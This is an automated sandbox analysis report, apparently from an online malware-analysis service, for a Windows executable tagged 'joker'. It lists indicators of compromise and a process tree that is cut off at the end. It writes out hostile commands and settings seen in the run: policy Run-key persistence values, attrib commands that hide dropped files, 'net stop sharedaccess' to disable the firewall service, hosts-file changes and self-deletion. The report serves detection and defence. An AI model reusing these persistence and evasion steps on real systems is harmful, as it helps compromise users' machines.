joker | 414511c6a3497dc4b1c22cf57fa7a62d674f1c13a3f8ad34596b01d3bc7997fb

Analysis

max time kernel
166s
max time network
213s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
02/10/2022, 23:16

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

414511c6a3497dc4b1c22cf57fa7a62d674f1c13a3f8ad34596b01d3bc7997fb.exe
Size

258KB
MD5

073a7a4183c3be2f8e17e330f7f14a3e
SHA1

1dccd1ea3b1f8cb85802a959100e28a03c69c88d
SHA256

414511c6a3497dc4b1c22cf57fa7a62d674f1c13a3f8ad34596b01d3bc7997fb
SHA512

c4dadb6da3825f1bc58f43d0979cb661ad8e276e3f7ee92bc1d75fac7ed58eca3dce5dbf657dc3131d8e80676021c2df9abf19b5caf8c69f70c890b244150de0
SSDEEP

6144:lhRpgKLfAX79/Gh++wSR284Z/azGN44XtjxwXiKEeDzwHk/Z7EUaXMal:D+Ls2n84ZCCNPtjxwXiKEenwHk/Zxaf

Score

10^/10

joker evasion infostealer persistence trojan

Malware Config

Signatures

joker
Joker is an Android malware that targets billing and SMS fraud.
infostealer trojan joker

Adds policy Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\zhqbastart = "rundll32.exe C:\\Windows\\system\\zhnahsdf090213c.dll a16zhqb"	zhahss090213.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run	1261.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\dlmcjjcdfc = "C:\\Windows\\system\\jjxzwzjy090216.exe"	1261.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\10znq = "C:\\tj01.exe"	tj01.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	tj01.exe

Executes dropped EXE 7 IoCs

pid	Process
4868	2.exe
4504	tj01.exe
3584	1.exe
4256	xx1215.exe
1544	02.exe
4640	1261.exe
4512	zhahss090213.exe

Sets file to hidden 1 TTPs 4 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1158

pid	Process
456	attrib.exe
4372	attrib.exe
3620	attrib.exe
4420	attrib.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	rundll32.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	414511c6a3497dc4b1c22cf57fa7a62d674f1c13a3f8ad34596b01d3bc7997fb.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	1.exe

Loads dropped DLL 1 IoCs

pid	Process
1644	rundll32.exe

Drops file in Windows directory 14 IoCs

description	ioc	Process
File created	C:\Windows\system\jjxzwzjy090216.exe	1261.exe
File created	C:\Windows\system\zhnahsdf090213c.dll	xx1215.exe
File created	C:\Windows\system\nbhsyh32b.dll	zhahss090213.exe
File created	C:\Windows\system\zhahss090213.exe	xx1215.exe
File opened for modification	C:\Windows\win.ini	tj01.exe
File opened for modification	C:\Windows\system\zhahss090213.exe	xx1215.exe
File opened for modification	C:\Windows\system\jjxzwzjy090216.exe	1261.exe
File opened for modification	C:\Windows\system\zhnahsdf090213c.dll	xx1215.exe
File opened for modification	C:\Windows\system\zhnahsdf090213c.dll	attrib.exe
File created	C:\Windows\system\jjxzajcj32dl.dll	1261.exe
File opened for modification	C:\Windows\system\nbhsyh32b.dll	zhahss090213.exe
File opened for modification	C:\Windows\system\nbhsyh32b.dll	attrib.exe
File opened for modification	C:\Windows\system\jjxzajcj32dl.dll	1261.exe
File opened for modification	C:\Windows\system\zhahss090213.exe	attrib.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

NSIS installer 4 IoCs

installer

resource	yara_rule
behavioral2/files/0x0008000000022e29-133.dat	nsis_installer_2
behavioral2/files/0x0008000000022e29-134.dat	nsis_installer_2
behavioral2/files/0x0007000000022e2e-139.dat	nsis_installer_2
behavioral2/files/0x0007000000022e2e-140.dat	nsis_installer_2

Modifies Internet Explorer settings 1 TTPs 64 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "30988011"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{87277B5F-42DE-11ED-B696-DAE60F07E07D} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\International\CpMRU\Factor = "20"	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{8729DF84-42DE-11ED-B696-DAE60F07E07D} = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e2728ad8693e804caf0ad2c227b1421600000000020000000000106600000001000020000000e907d472bae922da98bc063488b2ea437236960e711294bdd78e2c07c4eb71d0000000000e8000000002000020000000d66fb6dda4e070799d17df9524bbed570aa992fcee0fae7c47684f0d30e1eb962000000028b87bdd7205250477947d017d116eece5c96873201a69f0fea9d100469f27ac40000000bb7b333c83edd754b3f32f5629a989e9fc514108fd944860170ba2b11d67d79d1ffc2885a627de3e3cd988e043963071d29096b480d363fff17521092a6f828d	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\Total\ = "189"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "1751078408"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e2728ad8693e804caf0ad2c227b14216000000000200000000001066000000010000200000000c0b50700c2a2a8adda1e43426c6c2e3001eca17f701e50bbc820b2143e9e755000000000e8000000002000020000000cffb3bcfeab62f9bcf8d075773aded02d4460cf0b1b428c6f621c25c6f7be27720000000da2bc416896a46e28a0445a63f78ac020be711a362191fc8603b3ba533220a0740000000046d0b7c9e8990f3ca95acd14872740bcf8cc95249c8169a6cbfd04232ee67404f9878814b06d60188ba409918577975555025a201a122bac822649c2d5bcadd	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "30988011"	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Check_Associations = "no"	1261.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\www.qqvip-10.com\ = "189"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\DOMStorage\mgy1.tv	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff3e0000003e000000c4040000a3020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\qqvip-10.com\NumberOfSubdomains = "1"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\Total\ = "126"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\Total\ = "252"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "1751078408"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "1751078408"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "371540878"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\Total\ = "63"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\qqvip-10.com\Total = "189"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\International\CpMRU\Size = "10"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "30988011"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 10f25c68ebd6d801	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "30988011"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\International\CpMRU	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\International\CpMRU\InitHits = "100"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\DOMStorage\www.qqvip-10.com	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\qqvip-10.com\Total = "63"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\mgy1.tv\NumberOfSubdomains = "1"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "1751078408"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\International\CpMRU\Enable = "1"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\www.qqvip-10.com\ = "63"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\IESettingSync	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "30988011"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = b08c0d6eebd6d801	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\mgy1.tv\Total = "63"	IEXPLORE.EXE

Runs net.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
4256	xx1215.exe
4256	xx1215.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4640	1261.exe
4640	1261.exe
4256	xx1215.exe
4256	xx1215.exe
4640	1261.exe
4640	1261.exe
4640	1261.exe
4640	1261.exe
4640	1261.exe
4640	1261.exe
4512	zhahss090213.exe
4512	zhahss090213.exe
4512	zhahss090213.exe
4512	zhahss090213.exe
4512	zhahss090213.exe
4512	zhahss090213.exe
4640	1261.exe
4640	1261.exe
1544	02.exe
1544	02.exe
4504	tj01.exe
4504	tj01.exe
4512	zhahss090213.exe
4512	zhahss090213.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

description	pid	Process
Token: SeDebugPrivilege	4256	xx1215.exe
Token: SeDebugPrivilege	4504	tj01.exe
Token: SeDebugPrivilege	4640	1261.exe
Token: SeDebugPrivilege	4640	1261.exe
Token: SeDebugPrivilege	4640	1261.exe
Token: SeDebugPrivilege	4512	zhahss090213.exe
Token: SeDebugPrivilege	4512	zhahss090213.exe
Token: SeDebugPrivilege	4640	1261.exe
Token: SeDebugPrivilege	1544	02.exe
Token: 33	224	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	224	AUDIODG.EXE
Token: SeDebugPrivilege	4512	zhahss090213.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
1564	iexplore.exe
3540	iexplore.exe
3540	iexplore.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe

Suspicious use of SetWindowsHookEx 15 IoCs

pid	Process
1544	02.exe
1544	02.exe
1544	02.exe
1564	iexplore.exe
1564	iexplore.exe
3540	iexplore.exe
3540	iexplore.exe
2068	IEXPLORE.EXE
2068	IEXPLORE.EXE
3144	IEXPLORE.EXE
3144	IEXPLORE.EXE
3540	iexplore.exe
3540	iexplore.exe
1624	IEXPLORE.EXE
1624	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4032 wrote to memory of 4868	4032	414511c6a3497dc4b1c22cf57fa7a62d674f1c13a3f8ad34596b01d3bc7997fb.exe	80
PID 4032 wrote to memory of 4868	4032	414511c6a3497dc4b1c22cf57fa7a62d674f1c13a3f8ad34596b01d3bc7997fb.exe	80
PID 4032 wrote to memory of 4868	4032	414511c6a3497dc4b1c22cf57fa7a62d674f1c13a3f8ad34596b01d3bc7997fb.exe	80
PID 4032 wrote to memory of 4504	4032	414511c6a3497dc4b1c22cf57fa7a62d674f1c13a3f8ad34596b01d3bc7997fb.exe	81
PID 4032 wrote to memory of 4504	4032	414511c6a3497dc4b1c22cf57fa7a62d674f1c13a3f8ad34596b01d3bc7997fb.exe	81
PID 4032 wrote to memory of 4504	4032	414511c6a3497dc4b1c22cf57fa7a62d674f1c13a3f8ad34596b01d3bc7997fb.exe	81
PID 4868 wrote to memory of 3584	4868	2.exe	82
PID 4868 wrote to memory of 3584	4868	2.exe	82
PID 4868 wrote to memory of 3584	4868	2.exe	82
PID 4868 wrote to memory of 4256	4868	2.exe	83
PID 4868 wrote to memory of 4256	4868	2.exe	83
PID 4868 wrote to memory of 4256	4868	2.exe	83
PID 3584 wrote to memory of 1544	3584	1.exe	84
PID 3584 wrote to memory of 1544	3584	1.exe	84
PID 3584 wrote to memory of 1544	3584	1.exe	84
PID 3584 wrote to memory of 4640	3584	1.exe	85
PID 3584 wrote to memory of 4640	3584	1.exe	85
PID 3584 wrote to memory of 4640	3584	1.exe	85
PID 4504 wrote to memory of 1688	4504	tj01.exe	86
PID 4504 wrote to memory of 1688	4504	tj01.exe	86
PID 4504 wrote to memory of 1688	4504	tj01.exe	86
PID 4504 wrote to memory of 456	4504	tj01.exe	88
PID 4504 wrote to memory of 456	4504	tj01.exe	88
PID 4504 wrote to memory of 456	4504	tj01.exe	88
PID 4256 wrote to memory of 4372	4256	xx1215.exe	90
PID 4256 wrote to memory of 4372	4256	xx1215.exe	90
PID 4256 wrote to memory of 4372	4256	xx1215.exe	90
PID 4256 wrote to memory of 3620	4256	xx1215.exe	92
PID 4256 wrote to memory of 3620	4256	xx1215.exe	92
PID 4256 wrote to memory of 3620	4256	xx1215.exe	92
PID 4640 wrote to memory of 1564	4640	1261.exe	96
PID 4640 wrote to memory of 1564	4640	1261.exe	96
PID 4504 wrote to memory of 3540	4504	tj01.exe	94
PID 4504 wrote to memory of 3540	4504	tj01.exe	94
PID 4256 wrote to memory of 1644	4256	xx1215.exe	95
PID 4256 wrote to memory of 1644	4256	xx1215.exe	95
PID 4256 wrote to memory of 1644	4256	xx1215.exe	95
PID 4256 wrote to memory of 3192	4256	xx1215.exe	97
PID 4256 wrote to memory of 3192	4256	xx1215.exe	97
PID 4256 wrote to memory of 3192	4256	xx1215.exe	97
PID 1644 wrote to memory of 5008	1644	rundll32.exe	99
PID 1644 wrote to memory of 5008	1644	rundll32.exe	99
PID 1644 wrote to memory of 5008	1644	rundll32.exe	99
PID 1564 wrote to memory of 3144	1564	iexplore.exe	101
PID 1564 wrote to memory of 3144	1564	iexplore.exe	101
PID 1564 wrote to memory of 3144	1564	iexplore.exe	101
PID 3540 wrote to memory of 2068	3540	iexplore.exe	102
PID 3540 wrote to memory of 2068	3540	iexplore.exe	102
PID 3540 wrote to memory of 2068	3540	iexplore.exe	102
PID 5008 wrote to memory of 4512	5008	cmd.exe	103
PID 5008 wrote to memory of 4512	5008	cmd.exe	103
PID 5008 wrote to memory of 4512	5008	cmd.exe	103
PID 4640 wrote to memory of 1564	4640	1261.exe	96
PID 4640 wrote to memory of 2836	4640	1261.exe	106
PID 4640 wrote to memory of 2836	4640	1261.exe	106
PID 4640 wrote to memory of 2836	4640	1261.exe	106
PID 4512 wrote to memory of 4420	4512	zhahss090213.exe	112
PID 4512 wrote to memory of 4420	4512	zhahss090213.exe	112
PID 4512 wrote to memory of 4420	4512	zhahss090213.exe	112
PID 1544 wrote to memory of 4184	1544	02.exe	114
PID 1544 wrote to memory of 4184	1544	02.exe	114
PID 1544 wrote to memory of 4184	1544	02.exe	114
PID 4184 wrote to memory of 1580	4184	net.exe	117
PID 4184 wrote to memory of 1580	4184	net.exe	117

Views/modifies file attributes 1 TTPs 5 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
1688	attrib.exe
456	attrib.exe
4372	attrib.exe
3620	attrib.exe
4420	attrib.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:372
- C:\Users\Admin\AppData\Local\Temp\414511c6a3497dc4b1c22cf57fa7a62d674f1c13a3f8ad34596b01d3bc7997fb.exe
  "C:\Users\Admin\AppData\Local\Temp\414511c6a3497dc4b1c22cf57fa7a62d674f1c13a3f8ad34596b01d3bc7997fb.exe"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:4032
- - C:\2.exe
    "C:\2.exe"
    3⤵
    - Executes dropped EXE
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:4868
  - - C:\1.exe
      "C:\1.exe"
      4⤵
      Executes dropped EXE
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:3584
    - - C:\02.exe
        
        "C:\02.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:1544
      - C:\Windows\SysWOW64\net.exe
        
        net stop sharedaccess
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4184
        
        C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop sharedaccess
        7⤵
        
        PID:1580
    - - C:\1261.exe
        
        "C:\1261.exe"
        5⤵
        Adds policy Run key to start application
        Executes dropped EXE
        Drops file in Windows directory
        Modifies Internet Explorer settings
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4640
      - C:\program files\internet explorer\iexplore.exe
        
        "C:\program files\internet explorer\iexplore.exe"
        6⤵
        Modifies Internet Explorer settings
        Suspicious use of FindShellTrayWindow
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:1564
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1564 CREDAT:17410 /prefetch:2
        7⤵
        Modifies Internet Explorer settings
        Suspicious use of SetWindowsHookEx
        
        PID:3144
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c del "C:\1261.exe"
        6⤵
        
        PID:2836
  - - C:\xx1215.exe
      "C:\xx1215.exe"
      4⤵
      Executes dropped EXE
      Drops file in Windows directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4256
    - - C:\Windows\SysWOW64\attrib.exe
        
        attrib +s +h "C:\Windows\system\zhahss090213.exe"
        5⤵
        Sets file to hidden
        Drops file in Windows directory
        Views/modifies file attributes
        
        PID:4372
    - - C:\Windows\SysWOW64\attrib.exe
        
        attrib +s +h "C:\Windows\system\zhnahsdf090213c.dll"
        5⤵
        Sets file to hidden
        Drops file in Windows directory
        Views/modifies file attributes
        
        PID:3620
    - - C:\Windows\SysWOW64\rundll32.exe
        
